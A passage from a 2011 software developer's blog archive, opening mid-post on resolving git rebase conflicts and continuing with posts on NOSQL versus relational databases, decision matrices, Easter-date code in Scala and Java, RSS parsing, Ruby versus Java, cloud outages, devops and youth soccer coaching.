Now here is where things can get tricky. In the SVN world, if you have merge conflicts, you fix them and move along committing the results when you've "fixed" things. With git, on the other hand, you need "add" fixed files back in and continue the rebase. So, if you have no conflicts, you're actually done at this point, but if you have a merge conflict, you need to do the following steps


vi README
git add README
git rebase --continue

Once this is finished, push your changes back to the remote repo


git push

additional warning

When rebasing, if you get a conflict, do NOT commit the files, only ADD them. If you commit the files you will condemn yourself to a hurtful place where your commit history shows conflicts with things that you didn't even edit.

I think git is a wonderful tool, but it has a much steeper learning curve than it's simpler and kinder cousins svn and cvs. While my perspective is skewed by years of using SVN and CVS, I think it is pretty safe to say that these tools have millions of users and I am not the only person to go through the pain of "figuring out" git. The addition of remote/local and a staging area seems to be a common point of confusion for newcomers who've arrived at git from the SVN/CVS world.

The difference between urgency and importance

2011-07-11T13:03:00.000-05:00

Are you constantly besieged with emergencies and don't know how to dig yourself out?

If so, I'll give you some insight as to how bring some sanity to your situation OR allow you to make a determination that your situation is in need of change. I'm borrowing some time management ideas from here as well as inspiration from a co-worker.

First, some clarification:

Importance refers to how much something will help you attain your personal or professional goals. So, for example, if you want to become a great guitar player, it would be important to acquire a guitar. It's very important to take an evaluation of all the tasks, commitments, and issues you are dealing with and determine how important they are. In the link above, it is a binary determination, something is either important... or it is not important. The simplicity of this formula has a certain appeal and to start with, I'd highly recommend it. An important additional note about importance is to use this factor as a determination of how much time you spend doing something. If it is important for you to be the best guitar player in the world... you shouldn't spend a lot of time doing other things, especially if you've decided those things are NOT important.

Urgency refers to how time sensitive some happens to be. Getting out of the way of a runaway truck is an urgent issue. Acquiring the guitar in the above situation is likely to become urgent if you are on your way to your guitar lesson and the instructor doesn't have a guitar for you to borrow. An important note on this regard is that the urgency of issues can often change due to outside forces, but the importance is relatively stable.

Now to the free advice (and worth every penny I'm sure):
Top left
Top Right
Bottom left
Bottom right

Deciding on NOSQL vs RDMS

2011-07-07T13:25:00.000-05:00

Anybody not living in a cave knows that NOSQL is a current hot topic amount technology solutions. One sadly missing piece is some sort of guide on how to determine if NOSQL or a more traditional RDBMS is a better solution.

To start with, I'll say you should assume that an RDBMS is probably the safest bet. Almost anything you can do with a document store can be done with an RDBMS, with the exception that it may not scale and/or perform as well as NOSQL solution. The big advantages of RDBMS solutions is that they have an enormous ecosystem of tools, documentation, and skilled administrators.

Given the above, why would anyone ever even look at a NOSQL solution? Here are a couple indicators that a NOSQL solution might be a better fit for your problem:

#1 You are storing simple key/value pairs. If your RDBMS "solution" ends up being a single table with a couple key fields and a CLOB with XML in it... you're probably using the wrong tool for the job.
#2 You are storing complex data structures that are non-relational. If you store hierarchal data structures that each "master" has different children on it, you're going to run into problems with an RDBMS.
#3 You need massive scaleability and distribution, and the economics of scaling are important to you. Many RDBMS solutions offer partitioning schemes that offer very good scalability, but the cost (licensing and runtime overhead) of that scalability is often an order of magnitude higher than with a NOSQL solution.

Technology decision matrix (Using Ubuntu, Redhat & Suse as examples)

2011-06-23T13:54:00.001-05:00

Technology decisions are difficult and it often seems that architects and developers resort to throwing darts to determin which solution they should use for many problems. A tool I like to use to help figure out the best solution is a simplified decision matrix. When used fairly, this simple tool enables us to quickly and visually determine which solution is best given our success measures.

As an example, lets pretend we're going to pick a server platform. In this, effort, we have some specific things we care about:

security updates - Does the solution have automatic and timely notification of security issues and an automated way to patch the server.
modern versions of applications supported - as a criteria, which version of ngnix does the package support

In the interest of simplicity, we're going to assume that other essential factors such as cost, compatibility with specific software and other issues have already been applied.

We then take this information, select a number of candidate solutions and put them into a table as column headers:

category	Redhat	Ubuntu	Suse

Then we take our criteria and add them as rows

category	Redhat	Ubuntu	Suse
Security Updates
modern applications
total

Next, we do the hard work of scoring each solution according to our criteria.

category	Redhat	Ubuntu	Suse
Security Updates	3	3	1
modern applications (ngnix version)	(custom install) 0	(8.54) 2	(.8.54 AND 1.0.4) 3
Total	3	5	4

As we can see, applying different score makes evaluating the "best" solution easy to comprehend. The risk is that we really should establish scoring criteria ahead of time or we'll end up fooling ourselves by scoring things according to a bias we may have toward a particular solution. Obviously this is an oversimplified set of criteria, but it should easy to see how to extend this to more complicated scenarios (just add more rows and let excel be our friend).

I'd be curious to hear other tools and techniques to do this and would welcome some comments with better/different solutions.

Hey GOF, It's not a good metaphor unless you can drop it on your foot

2011-06-08T12:51:00.001-05:00

I read a recent article about the importance of writing physically. Fundamentally, the author says that "writing physically" means writing about things you can drop on your foot. This means a lot to me because when trying to write software, I'm constantly translating ideas into mental pictures of physical things.

To this end, I think the Gang of Four have done a disservice to the software industry by pushing design patterns that have no representation in the real world. Worse than this, pushing UML as a way to represent and communicate software design leads to situations where everybody THINKS they agree, but they in fact all are thinking about completely different things.

As a specific and very simple example, lets look at the Command pattern. Reading the explanation is very dense and rife with jargon that is specific to the particulars of Object Oriented programming languages. For folks who need to read the explanation, who typically are new to OO programming, these explanations just make things more complicated.

My simple explanation of the command pattern is: You a rich person who has an entire staff of servants who all speak different languages. Instead of trying to tell them what you want, you've instructed someone to build "command boxes" that have a button you can press and will then instruct your servants to do what you need them to do in their native language. This is the command pattern in a nutshell.

With my physical example, we can now have a good discussion about how to implement this in software. Using the UML and other rigmarole on the oodesign site, it's nearly impossible to even have a coherent discussion because there is nothing in the real world to talk about. When living in the world of ideas, it is very dangerous to assume everyone sees the same pictures in their heads as you.

Coaching a winning team

2011-06-07T13:41:00.000-05:00

As the spring soccer season is winding down, I'm reminded of a saying that I heard the AYSO national director of coaching say. I was at a conference and a roomful of hopeful coaches were quizzing him on what they could do to be more effective coaches. A variety of people proposed things they did to win more soccer games and his response was: "If you want to win soccer games, go find the better players". This was meant to be a rebuke in this context, but I wholeheartedly agree with the assertion.

A coach or strategy CAN influence the game and when two teams are equally matched with talent, they can make the difference in the outcome. However, regardless of what the herd of ego-centric coaches might try to tell you, good coaching does nothing but unlock potential that already exists within the team members.

Effective coaches are not the ones are making things happen, they are the ones that make sure the right team is available to make things happen. They also make sure that the proper resources are available, that some sort of planning is being performed, and that any obstacles are removed or avoided.

Picking the best players is more important than picking the best coach.

The Joystick Soccer Coach

2011-06-05T15:58:00.000-05:00

I am a passionate soccer player and youth coach. One thing I find difficult to resist, but even more difficult to accept when I see other coaches doing it is the notion of being a joystick coach. In the beginning of my coaching career, it was hammered into my head that soccer is a "players game" and to develop players, a big part of coach's job is to give them freedom to make mistakes, present opportunities to learn from them, and challenge them to make good decisions on their own.

I get IMMENSELY frustrated when I'm coaching a U6 team and my opposition has TWO coaches on the field active giving instructions to the kids. While these teams are often much more effective at scoring goals, it really makes player development difficult because the other team has a pair of 30 something men explaining how to take advantage of the situation to score more goals.

Coaches, limit your instructions on the field, else you'll end up with robots who will likely be ambivalent to the game. Let kids play, follow up good things with positive encouragement if you must, but don't try to remote control your players. I often wonder if joystick coaches go out into the sandbox with their kids and tell them where to dig and how deep to dig and when to dig. Do they explain "No, that's not a proper sandcastle, a sandcastle is supposed to be like THIS"?

I doubt it.

The ruby and java fightclub

2011-05-16T13:07:00.001-05:00

As a person who has one foot firmly in java and another in ruby, I'm often in a situation where I try to have an objective conversation about the advantages and disadvantages between the the two. Unfortunately, both of these camps are not very objective about themselves and each other. Ruby guys seem to think that ruby is all sunshine and lollipops and java is spawn of satan and visa versa.

Find any java developer who knows nothing about ruby (or ruby on rails) and strike up a conversation about the advantages and disadvantages between the two. If they in any way care about programming, you will typically end up with a seriously heated discussion about: Performance, Scalability, Compiler Safety, Support, Maintainability, other stuff.

On the other side of the equation, I'm a bit at a loss because I've never met a ruby developer who didn't previously work as a java (or C) developer. Typically a new convert from java/whatever has all the zeal of a new religious convert and will spend lots of time explaining how "java guys just don't get it" without spending a whole lot of time trying to get those guys to "get it".

What seems to be missing is a set of people who are truly trying to understand the real differences between the languages and understand how and when they are most appropriate. After all, I KNOW that ruby is slower at runtime than java, I've tested and measured it, but for most of my applications it just doesn't matter. I've met very few web client users who care about the difference between a 500ms response and a 550ms response.
Moreover, I KNOW I can get high quality software written, tested, and shipped faster with ruby (and rails).

So my question is, has anyone every really objectively tried to quantify the advantages and disadvantages or is all the noise just camps of ruby and java fanbois who hurl insults at each other?

EDIT - Note, I thought I'd add some of online rhetoric that I've found on the subject (thanks google!)

cms wire from 2006... kinda ruby slanted.
this post gets extra points because it draw a similarity between learning java and learning Klingon.

Productivity, billable hours, and expert craftsmen

2011-05-10T13:59:00.001-05:00

I read a great article about productivity and I think there is a side issue alluded to that needs to be addressed. A common problem is that the actual direct amount of time to do something is minuscule compared to the prep work necessary to be able to execute rapidly and effectively.

The story I'm reminded is something like this:

A man had a squeak in his floor and no matter what he tried to do he could not get rid of it. He finally called a master carpenter referred to him by a neighbor and explained the problem. The carpenter walked in, paced about the room for a minute, pulled out a hammer, hit the floor with it and the squeak disappeared.

The carpenter handed over the bill and the homeowner was livid: "Are you crazy? You want to charge me $100 for just hitting the floor with a hammer?"

Without missing a beat, the carpenter grabbed the bill, scribbled a few changes and handed it back. The bill now read:

Hitting floor with hammer:                      $2
Knowing where on the floor to hit the hammer:  $98

knowing where to hammer produces a lot of variations of this story but the overall theme is very important. Expert knowledge is a rare and valuable commodity and often falls into the category of "you get what you pay for". The trick is knowing when you need that expert and when a novice is good enough.

On the other side of the equation, experts shouldn't worry about charging high amounts for small amounts of time when appropriate. For example, imagine the carpenter above walked around for 10 hours tearing up the walls and otherwise making a mess and then subsequently fixed the squeak, but gave the owner a bill for $100 @ $10/hr.

Would this make the homeowner be happier?

EDIT - I had forgotten about the picasso version of this.. I'm not sure which I like better.

The difference between Scalability, Performance, Efficiency, and Concurrency explained

2011-05-02T12:24:00.000-05:00

I thought I'd give some explanation of the difference between scalability, performance, Efficiency, and concurrency. To make things more accessible (and because I'm watching a cooking show on TV) I'm going to use a baking metaphor to help explain the differences. In our case, the system in question is baking cookies for consumers.

Scalability, is how well something responds to adding more resources. If we can double our capacity by doubling the number of resources, we've got linear scalability. In our baking example, if we add more ingredients, we can scale to a larger number of cookies. To contrast with our other metrics, this doesn't actually increase the performance of creating a single cookie (they still take 10 minutes to bake), and the efficiency is the same (we just have more capacity). We also cannot bake more cookies in a fixed time period, but over a larger time period we can produce more cookies.

Performance is how fast something can get done, usually best expressed for a single cycle of a single product. If our baker acquires a machine that reduces the amount of time to do a batch of cookies from 10 minutes to 5 minutes, we've increased our performance (reduced the cycle time). This technique has the advantage of increasing the efficiency, a single baker and all his supplies can actually bake more cookies in a shorter timeframe this configuration. This does NOT, however, increase the concurrency... a single baker with a single oven, even if it can bake the cookie in 5 minutes, can NOT bake double the number of cookie simultaneously. We should pay attention to the fact that scalability and concurrency are distinctly different, but related measures.

Efficiency is how parsimonious the process is with resources. If our baker only requires 1/2 the resources to bake the same quantity of cookies, this is more efficient. This doesn't mean that the baker can bake more cookies in the same amount of time, nor does it mean they will bake faster (usually it means the opposite), and it also doesn't mean that he can double the number of cookies simultaneously.

Concurrency is how much work can get done simultaneously. Adding a new baker and a new kitchen will double our concurrency. Obviously this doesn't impact the performance of creating a single cookie and it is 1/2 as efficient as a single baker. In addition, because we didn't actually double the ingredients, we cannot scale to create any more cookies overall.

An interesting problem with these qualities is that they often strongly influence each other (both positively and negatively). Many solutions that increase concurrency ALSO increase scalability. Worse yet, many solutions that increase scalability decrease performance and surprising to many, may also decrease concurrency.

Computus in scala and java

2011-04-23T08:22:00.000-05:00

In the spirit of the holiday, I figured I would try my hand at writing computus in scala and java. For those who aren't aware, computus is the algorithm used to compute which day easter falls on.

First, the scala version:


object Computus {
  def main(args: Array[String]) {
    val start = System.currentTimeMillis()
    for (year <- 2000.until(1000000)) {
      println(pretty_computus(year))
    }
    println(System.currentTimeMillis()-start)
  }

  def golden(year:Long):Long = {
    year % 19 + 1
  }

  def century(year:Long):Long = {
    (year / 100)  +1
  }

  def  solar(year:Long):Long = {
     (3 * (century(year) /4) ) -12
  }

  def  lunar(year:Long):Long = {
     ((8 * century(year) +5) / 25) - 5
  }

  def  letter(year:Long):Long = {
    5 * year / 4 - solar(year) - 10
  }

  def  epact(year:Long):Long = {
    (11 * golden(year) + 20 +lunar(year) - solar(year)) %30
  }

  def  correct_9006(year:Long):Long = {
    val epact_val = epact(year)
    if (epact_val < 0) {
      epact_val + 30
    } else {
      epact_val
    }
  }

  def  correct_epact(year:Long):Long = {
    val epact_val = correct_9006(year)
    if (((epact_val ==25) && (golden(year) > 11)) || (epact_val ==24)) {
      epact_val + 1
    } else {
      epact_val
    }
  }

  def  n_whatever(year:Long):Long = {
    44- correct_epact(year)
  }

  def  fix_n(year:Long):Long = {
    val n=n_whatever(year)
    if (n<21){
      n + 30
    } else {
      n
    }
  }

  def  computus(year:Long):Long = {
    fix_n(year) + 7 -((letter(year)+fix_n(year))%7)
  }

  def pretty_computus(year:Long):String = {
    val day_of_march = computus(year)
    if (day_of_march>31) {
      "April " + (day_of_march -31).toString()
    } else {
      "March " + day_of_march.toString()
    }
  }
}

and now the java version

public class JavaComputus {
    
    
  public static void main(String[] args) {
    Long start = System.currentTimeMillis();
    
    for (long i = 2000; i < 1000000; i++) {
       System.out.println(pretty_computus(i));
        
    }
    System.out.println(System.currentTimeMillis()-start);
  }

  public static Long golden(Long year) {
    return year % 19 + 1;
  }

  public static Long century(Long year) {
    return (year / 100)  +1;
  }

  public static Long  solar(Long year) {
     return (3 * (century(year) /4) ) -12;
  }

  public static Long  lunar(Long year) {
     return ((8 * century(year) +5) / 25) - 5;
  }

  public static Long  letter(Long year) {
    return 5 * year / 4 - solar(year) - 10;
  }

  public static Long  epact(Long year) {
    return (11 * golden(year) + 20 +lunar(year) - solar(year)) %30;
  }

  public static Long  correct_9006(Long year) {
    Long  epact_val = epact(year);
    if (epact_val < 0) {
      return epact_val + 30;
    } else {
      return epact_val;
    }
  }

  public static Long  correct_epact(Long year) {
    Long epact_val = correct_9006(year);
    if (((epact_val ==25) && (golden(year) > 11)) || (epact_val ==24)) {
      return epact_val + 1;
    } else {
      return epact_val;
    }
  }

  public static Long  n_whatever(Long year) {
    return 44- correct_epact(year);
  }

  public static Long  fix_n(Long year) {
    Long n=n_whatever(year);
    if (n<21){
      return n + 30;
    } else {
      return n;
    }
  }

  public static Long  computus(Long year) {
    return fix_n(year) + 7 -((letter(year)+fix_n(year))%7);
  }

  public static String pretty_computus(Long year) {
    Long day_of_march = computus(year);
    if (day_of_march>31) {
      return "April " + ((Long)(day_of_march -31)).toString();
    } else {
      return "March " + day_of_march.toString();
    }
  }

}

I realize the scala implementation is basically "java in scala", but an interesting data point is that the the scala version is about 20% slower. From my perspective, it seems like the scala version should have almost identical performance characteristics to the java version.

More importantly, I must certainly be doing doing something wrong. Iterating and building the list in this manner cannot be the "right" way to do this, but I'm drawing a blank at how to improve things. Aside from the performance characteristics, I'm really interested in trying to improve the scala version to make it more idiomatic. I'm pretty sure I'm hampered by my lack of experience with functional languages.

Amazon EC2 Collapse and designing for cloud computing

2011-04-22T07:07:00.001-05:00

As I'm sure most tech geeky folks now know, Amazon EC2 had a massive outage yesterday. This affected numerous online applications and web sites totally unrelated to amazon.com. My favorite new word is currently cloudpocalypse.

Many folks have decided that "cloud computing" is the next golden hammer that will solve any and all computing problems. I hate to rain on their parade (pun intended), but at least from my perspective, "cloud computing" primarily provides the ability to acquire cheap and fast computing infrastructure, have it online quickly, and scale it massively. EC2 is GREAT for that, as a matter of fact, there probably isn't anything nearly as powerful and complete on the market right now.

Note that I didn't include the word "reliable" anywhere in my value proposition. Don't trust a cloud provider to be reliable, to quote Amazon's own CTO "Everything Fails all the time". The important thing to consider when designing software for the cloud is how you deal with failure.

Many folks with traditional datacenters try to deal with failure by flogging sysadmins, developers, and vendors every time something goes wrong and generally spending a lot of time pointing fingers. This is pretty unhealthy and actually creates more problems than it solves, but when using amazon as a platform it's just not going to be an option.

What does this mean?

It means when designing for a cloud provider, you might need a plan "B" or a plan "C" when something goes wrong. Many traditional shops have a "disaster recovery" site which is physically separated from the main site. How do you do this in the cloud? Likely it means having alternate providers or real life physical servers that you have control over as a disaster recovery option.

Moreover it means that your applications should be designed in such a way that they can still function when they suddenly are running on a different machine in a different location or with a different set of components. If you rely on physical files (outside your app) being present for your application to function... you'll fail. If you rely on a database having certain up to date information... you'll fail, if you rely on "you own" IP address (within your application code) you'll fail.

In short, designing for cloud computing means designing for failure. Arguable ALL software design should be done this way, but I think cloud computing requires elevating the importance of this quality.

How important is the devops movement

2011-04-21T08:34:00.001-05:00

My short answer is: "very".

My Long answer Follows:

Devops is a reaction to a common problem in software development. It's referred to here as a "wall of confusion". I've blogged on this before and anybody who has ever worked in a shop with two different teams (ops vs dev) you will likely understand the problem very well. Inherently, Ops wants stability and dev wants change.

I believe the recent push for "agile" in IT organizations has aggravated this problem to an extreme in some places. This aggravation has been because the focus of agile has been on the DEVELOPMENT of software, but not the OPERATION of software. To clarify how these responsibilities are typically divided:

DEVELOPMENT Perspective
Make new features for customers
Get it done quickly
Get it done cheaply
Move on to next thing
Don't worry too much about the future or past… Live in the NOW

OPERATIONS Perspective
Fix the messes created by development
Prevent development from making more messes
Support all previous and future messes for eternity

Devops seeks to reconcile these differences and develop new processes, attitudes, and tools to align the goals and attitudes of these two perspectives. While largely in it's infancy and not without it's
detractors, I think the idea of fostering this change within technology organizations is critical to the future of successful software development.

Parsing RSS in java and Jruby

2011-04-20T12:37:00.000-05:00

I've been playing around with some rss feed parsing and decided to contrast the ruby way with the java way.

First, the java way

import com.sun.syndication.feed.synd.*;
import com.sun.syndication.io.*;
import java.net.URL;
import java.util.List;

public class RssJava {
    public static void main(String[] args) {
        long start = System.currentTimeMillis();
        int total = 0;
        int entries = 0;

        try {
            SyndFeedInput input = new SyndFeedInput();
            SyndFeed synFeed = input.build(new XmlReader(new URL("http://mikemainguy.blogspot.com/feeds/posts/default")));
            for (SyndEntry entry : (List) synFeed.getEntries()) {
                entries++;
                List contents = entry.getContents();
                for (SyndContent content : contents) {
                    total += content.getValue().split(" ").length;
                }
            }

        } catch (Exception e) {
            e.printStackTrace();
        }
        System.out.println(total + "/" + entries + "=" + total/entries);
        System.out.println((float)(System.currentTimeMillis()-start) / 1000.0);
    }
}

Next, the ruby way:

start = Time.new

require 'rubygems'
require 'simple-rss'
require 'open-uri'

total_count = 0
entry_count = 0

rss = SimpleRSS.parse open("http://mikemainguy.blogspot.com/feeds/posts/default").read
rss.items.each do |item|
  entry_count+=1
  total_count+= item.content.split(" ").count
end
puts "#{total_count}/#{entry_count}=#{total_count/entry_count}"
puts "#{Time.new - start}"

and the output of these two:

Java:
10732/25=429
1.096

Ruby:
10244/25=409
3.668

Now for some interesting tidbits:
The java version took about 45 minutes to build. After trolling maven central, I settled on using Rome as it seemed the simplest and most straightforward.

The ruby version took about the same amount of time. My development time in ruby was slowed primarily because I tried to initially use the built-in rss parser in ruby, but it was failing on my blogspot feed. I never did figure out why, I just instead used the simple-rss gem and was off and running.

More interesting to me was that the java version was almost 3x faster. I realized I was using jruby 1.5.3 and I wasn't sure if that was a source of the performance problem so I upgraded to jruby-1.5.6-p249 and the speed was roughly equivalent. I ended up splitting it apart and seeing that the parse was taking about 800ms and the rest was building the data. It seems like ruby io may have some issues that I may need to look at.

Surprisingly, the split functions seem to do something different as the actual numbers being output are different. I'll have to take a look at that someday and try to understand what the heck is going on.

Not so surprisingly the ruby code is about 2/3 of the java and just seems more straightforward to me. Obviously the "straightforwardness" of the code is subjective, but I think java should seriously look at the type inference used in scala and put it on the roadmap.

If it's stupid but it works, it's still stupid, it just also happens to work

2011-04-17T07:59:00.000-05:00

Two phrases really are irksome to me: "If it's stupid, but it works, it ain't stupid" and "If it ain't broke, don't fix it"

They bother me not because I disagree with the intent, I wholeheartedly understand and agree with the sentiment. My problem is that they are often used to justify cutting corners and generally producing inferior products in order to avoid fixing problems that customers might not detect.

First off, I'm not foolish, I understand nothing is perfect. I understand that software will have bugs, cars will have problems, and sometimes judicious use of duct tape is the best solution.

BUT

When you don't acknowledge "quick fixes" as such, this inevitably lowers what people think the baseline level of quality should be. In my experience this has a cumulative effect of causing the next "quick fix" to be of even lower quality because it's just a "little worse" than the previous stupid solution. The particularly bad thing about this attitude is that two things happen: #1 People who KNOW they're doing a bad job begin to be ashamed of their work and try to hide things or make up excuses why they're doing the wrong thing #2 People who don't know any better think that these "quick fixes" are the right way of doing things. Both of these factors lead to a situation were team members don't feel any obligation for doing the right thing.

My mantra is the Boy Scout Rule, "Always leave things a little better than they were when you started". If you see something out of place, improper, or otherwise incorrect, you have an obligation to fix it. This is not to say you need to boil the ocean and fix every problem at once, but you have an obligation to fix at least one little thing. It doesn't matter if it's your mess or someone else's mess, it matters that the mess gets cleaned up. Adopting this attitude within your team has the effect of raising the quality as well as help to ingrain a sense of ownership and responsibility.

Simple software estimation guidelines

2011-04-15T13:03:00.000-05:00

As software developers, a common problem we face is trying to estimate how long it might take to build some idea still locked in a customer's head. Many legacy, high ceremony processes try to use highly precise measurement systems (man-hours etc) to measure this. A problem with this approach is that they very often fail or give deceptive results because of their inability to account for a confidence factor and changing events. Put another way, these methods are precise, but inaccurate.
Many agile frameworks attempt to fix this by decoupling the estimation process from reality. They do things like use "points" or "high medium low" and then use historical data to adjust velocities based on actual performance. This approach has the advantage of acknowledging uncertainty and the inherent inaccuracy estimation often contains, it has a major flaw in that advance resource planning and scheduling can become a nightmare.
My approach is to blend of both these approaches: Estimate things by using hours, days, weeks, and "I don't know". This has the advantage of being fairly vague and can be used like the arbitrary numbers that the agile processes espouse, but also has the advantage of immediately letting stakeholders perform resource planning and start to build a schedule.

Monoglot Developers are like Stereotypical Arrogant Americans

2011-03-28T07:49:00.000-05:00

This post is partly because of some responses to a blog post over at Expensify and I apologize if it appears to be a bit of a troll. I saw the heated responses from ticked off .net fan boys and stopped to think for a minute. Why don't I use windows for development any more?

Just so everyone understands, historically I've used windows since around 1992 and Linux from about 1994 onward. For MANY years I tinkered with linux as a hobby, but did the majority of my work on windows, mainframes, mini's, or "real" unix. I made my living writing Delphi and VB desktop software for quite some time, I'm a certified MSSQL DBA, and I still use MS Office and Outlook on a daily basis. I also have a copy of visual studio and tinker around with it on occasion. But since about 2006, I've used Ubuntu Linux with GDM as my full-time desktop and my development efforts have always been much broader than simply the Microsoft ecosystem.

Why is this? Well, I guess I know there's a larger world than the windows desktop. For example, I have 6 computers, 3 TVs, two satellite receivers, 4 phones, a nook, a Yamaha motif keyboard, some gaming systems (PS3, WII), and some Linksys (Cisco) wireless routers... and NONE of them run windows. All of the them either natively run on a variation of Linux kernel or I can load a Linux variant on them to reconfigure them in a manner that suits my need. As a specific example, I've loaded dd-wrt on my router to change it into a secure bridge to extend the range of my wireless network.

If I focused on being the best visual studio developer in the world (C#,F#, VB.NET/etc), I suspect I would be inclined to never tap into this wider world of technology. I supposed if I were really adventurous I could attempt to load windows on my Linksys router, but I'm frankly the legal ramifications could be significant as Microsoft doesn't seem to like you using their stuff unless you pay them for the privilege.

As another example, Let's suppose I'm doing some cross platform mobile development. Right now that means at least iPhone + Android + Blackberry. As a guy who's been knee deep in Java, I can immediately use two of these platforms... as a javascript+html guy I can target all three... as a ruby guy I can target all three AND be cross platform. In addition, as a Linux guy I can get cheaper rates on amazon EC2 instances AND easily create secure scripts to deploy/undeploy and reconfigure them on demand.

Using Microsoft tools, I admit that I can still get this done, but now I'm paying everybody and their brother for licenses (monotouch, monodroid). Don't get me wrong, I'm willing to pay for good tools (intellij for example), but using Linux/OSS software, I don't HAVE to because I can get 50 different variations of eclipse for free... or just use emacs or vi.

Additionally, because the Linux/FOSS ecosystem is so diverse, I get to choose between a wide variety of solutions for any particular problem I'm trying to address. In the windows world, you typically only get core OS updates from ONE vendor and you have to wait for them for fixes. Even if you're willing to fix the problem for free and donate the solution back to them you are typically restricted from doing this (Unless you pay them a bunch of money). Put in this perspective, why would ANYONE ever want to put themselves in this situation?

The only reason that comes to mind is ... Marketing.

Microsoft (like IBM, Oracle, and others) has spent a tremendous amount of time/energy convincing anyone who'll listen that using their tools is the smartest, easiest, most economical way to go. This means and individual developer doesn't need to worry about those problems and they will continue to be in demand as long as the vendor is still in business.

As a lisp developer, you may be able to to build the most awesome hyper-scalable, flexible, and reliable solution in the known universe, but you're going to spend a large majority of your time convincing other people that they aren't making a mistake. If you're a C# developer, you don't need to convince anyone of anything... you can point to dozens, if not hundreds of reports, white papers, and power point presentations explaining why using C# is the BEST way to create a hyper-scalable, flexible, and reliable solution in the known universe. Better yet, these reports are vetted by professionals employed by a multi-billion dollar software company.

From another perspective, I feel as though developers who ONLY use Microsoft tools are similar to what folks around the world call "Arrogant Americans". This is the type of person who lives in Peru for a year and NEVER learns any Spanish, or visits France and always orders Cheeseburgers (or only eats at McDonalds). People who use Linux are more akin to world travelers, after living in Peru for a year, they speak fluent Spanish (because they already knew it) as well as a bit of Quechua. In France, they hit a different bistro every day and can identify which region the Camembert they had at lunch came from.

My aspiration is to be the technological equivalent of the world traveler and while I know a lot of smart developers who use Microsoft tools, I know a lot more smart developers who use a wide variety of tools. The folks I don't understand are the ones who think they've found the one tool that should be used for every job and spend time telling everyone else they're using the wrong when they don't use that particular tool.

Hard problems versus hard solutions

2011-03-25T14:47:00.000-05:00

Many problems software developers are called on to solve are "hard problems". By hard problem I mean that the necessary compute power to solve the problem is high and there is no known solution that can reduce the overhead. An example of this sort of problem would a variation of the traveling salesman problem.

On the other hand, developers also called upon to solve what I would term simply "difficult problems". Difficult problems are different in that the solution is difficult for humans to comprehend, but they are know solutions that can be implemented easily at minimal cost and overhead. An example of something like this would be determining the latitude and longitude of an address in the United States. While this requires a large amount of data should you try and solve it on your own and it would be likely impossible for a human without a large reference library, there are FREE software solutions that do this very well and very rapidly.

The last and most problematic grouping is what I call "hard solutions". These are situations where someone has taken a difficult problem, treated it like a "hard" problem and (usually) through tremendous effort, built a hulking monstrosity of a quasi-solution that "is stupid, but it works". A shining example I routinely see in my line of work is software that uses the wrong paradigm to solve the problem it's supposed to be designed for.

For folks who don't write software for a living, this is the equivalent of using a hammer to pound screws. Yeah, you can do it (ask my son), but it's a hell of a lot easier to use a screwdriver. The challenge is being able to explain to someone furiously hammering on a screw that there is a better approach.

Example of the difference between Ruby and Java

2011-03-24T12:58:00.002-05:00

Having worked extensively with both ruby and java, I thought I'd share some interesting differences between how one can approach solving problems in the two languages.

Let's take a common example of a function that will take a variable number of arguments and return a string with all non-null values separated by commas. We'll start by just using the core runtime and see what we can do.

Here's the Java example:

public class StringJava {
    public static void main(String[] args){
        System.out.println(printComma("test1","test2","Test3"));
        System.out.println(printComma("test1",null,"Test3","Test4"));
    }
    public static String printComma(String... names) {
        StringBuffer buff = new StringBuffer();
        boolean first = true;
        for (String str: names) {
            if (str != null) {
               if (first) {
                   buff.append(str);
                   first = false;
               } else {
                   buff.append(','+str);
               }
            }
        }
        return buff.toString();
    }
}

Now the equivalent in Ruby:

def print_comma(*data)
  data.compact.join(',')
end
puts print_comma "Test1","Test2","Test3"
puts print_comma "Test1",nil,"Test3","Test4"

Ouch! It actually gets much better, because if you really need this sort of functionality a lot,you could just add the method directly to the Array class and do this in ruby:

class Array
  def comma_join
    self.compact.join(',')
  end
end

puts ["Test1","Test2","Test3"].comma_join
puts ["Test1",nil,"Test3","Test4"].comma_join

The latter approach would simply be impossible in java, but with just a little extra effort, allows you to enhance your ruby Array class to give you some very useful functionality.

At it's core, ruby is geared toward rapidly producing compact code and enables developers to modify their environment to support just about anything they want to do. Java, on the other hand, is geared more toward following a lowest common denominator standard at the expense of being more verbose and not allow developers to expand the language to meet their needs.

I'm not suggesting ruby is superior in all cases, but from a flexibility and development effort perspective, there really isn't any fair comparison, ruby trounces java in almost every respect.

Excellent customer service requires fixing broken windows

2011-03-21T20:42:00.000-05:00

Organizations that excel at customer service all have something in common, customer service is absolutely pervasive. Everyone understands they have a customer and are interested, empowered, and enabled to serve their customers to the best of their abilities. On the other hand, companies that have a poor customer service culture may have large numbers of folks who really do care and really do a great job, but a few key folks who are slacking can bring the whole organization down dramatically.

As a recent example: Suppose an oil change shop has stellar oil change technicians, BUT, the folks who fix the computers are "not so good". How long does it take until the oil change guys are not stellar any more and are instead spending their time complaining about the computer guys? Just as bad, how long until the the oil change folks realize that no matter how well they do their job, the customer is going to have a bad experience because the computers don't work right?

The precedent for this phenomenon can be found in broken windows theory. In short, this theory postulates that one broken window in a neighborhood can lead to a rapid downward spiral of neglect if not repaired quickly.

Allow any sort of poor customer service will change the social norms in your organization and spread rapidly just like a neighborhood with a few broken windows will quickly fall into disrepair. You cannot have good customer service if your INTERNAL customers are allowed to be treated poorly. Put another way, if employees are allowed to treat each other poorly, how can one expect them to treat customers well?

This difference between agility and speed

2011-03-19T09:38:00.000-05:00

There are there are two complimentary factors that contribute to apparent speed.

First, there is raw speed. This is the ability to move in a straight line a certain distance in a certain amount of time.

Second, there is agility. This is the ability to change direction quickly and react effectively to new situations.

From my perspective, agility is the superior attribute, though both are important. To illustrate why, I'll quote Helmuth von Moltke the Elder by making the statement "No plan survives first contact with the enemy". Following this adage, it's easy to see how raw speed can actually become an impediment should you be speedily moving in the wrong direction. This can be further aggravated if you are able to move quickly, but unable to change direction.

Changing gears to software development, many folks confuse agility with speed. They get sold on the idea that software agility will somehow make their development faster. This is really not true and is selling the advantage of agility short. When focusing on agility, you will lose focus on raw speed and a side effect can be that you effectively move slower. What you WILL gain, however, is the ability to move in the appropriate direction at the appropriate time and make course corrections as necessary.

Change your change management process to support agility

2011-03-18T17:41:00.000-05:00

Most organizations of more than one or two people need some sort of process to facilitate change. It really isn't feasible to have 20+ ( or 2000) people all doing their own thing without any way to coordinate things. In order to manage this, organizations invariably institute change management or change control processes.

